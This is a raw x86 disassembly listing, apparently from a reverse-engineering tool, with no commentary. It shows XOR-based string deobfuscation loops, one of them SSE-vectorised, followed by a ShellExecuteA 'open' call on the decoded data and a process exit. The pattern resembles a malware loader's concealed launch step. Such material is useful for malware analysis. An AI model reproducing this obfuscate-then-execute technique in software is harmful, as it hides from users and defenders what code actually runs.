mov eax, dword [ebp - 0x94]
cmp eax, 0x10
jb 0x4089f9
mov edx, dword [ebp - 0xa8]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4089ef
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c5c
jmp 0x4089ef
sub esi, dword [ebp - 4]
jmp 0x408920
push ecx
push edx
call fcn.004a06de
add esp, 8
cmp esi, 0xffffffff
jne 0x408bcc
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 5]
call fcn.004065e0
mov edi, eax
cmp byte [edi + 0xb], 0
je 0x408b6f
xor ecx, ecx
cmp dword [0x4dcc20], 2
mov dword [ebp - 8], ecx
jl 0x408b40
movaps xmm2, xmmword [0x4c0630]
mov eax, 5
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
mov dword [ebp - 8], ecx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.6666666666666666]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [edi], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi + 4]
pxor xmm1, xmm0
movd dword [edi + 4], xmm1
nop dword [eax + eax]
mov eax, 0x8d3dcb09
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [esi], cl
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 0xc
jl 0x408b40
push edi
lea ecx, [ebp - 0xf4]
call fcn.00404740
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 5]
lea eax, [ebp - 2]
push eax
call fcn.00406600
mov edi, eax
cmp byte [edi + 1], 0
je 0x408c61
xor ecx, ecx
mov dword [ebp - 8], ecx
nop dword [eax + eax]
mov eax, 0x8d3dcb09
lea esi, [ecx + edi]
mul ecx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [esi], cl
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 2
jge 0x408c61
jmp 0x408ba0
mov edx, dword [ebp - 0x19c]
cmp edx, 0x10
jb 0x408c06
mov ecx, dword [ebp - 0x1b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408bfc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408ce5
push edx
push ecx
call fcn.004a06de
add esp, 8
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
call fcn.00401290
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004a514f
push 0xffffffffffffffff
call fcn.004a6e1d
call fcn.004a514f
call fcn.004a514f
call fcn.004a514f
call fcn.004a514f
call fcn.004a514f
call fcn.004a514f
push edi
lea ecx, [ebp - 0x90]
call fcn.00404740
push eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.004063f0
add esp, 0xc
push 1
push 0
push 0
push dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.004063d0
add esp, 0xc
mov ecx, eax
call fcn.004062e0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x188]
call fcn.00401290
lea ecx, [ebp - 0x170]
call fcn.00401290
lea ecx, [ebp - 0x90]
call fcn.00401290
lea ecx, [ebp - 0xf4]
call fcn.00401290
push 0
call fcn.004a6e1d
call fcn.004a514f
int3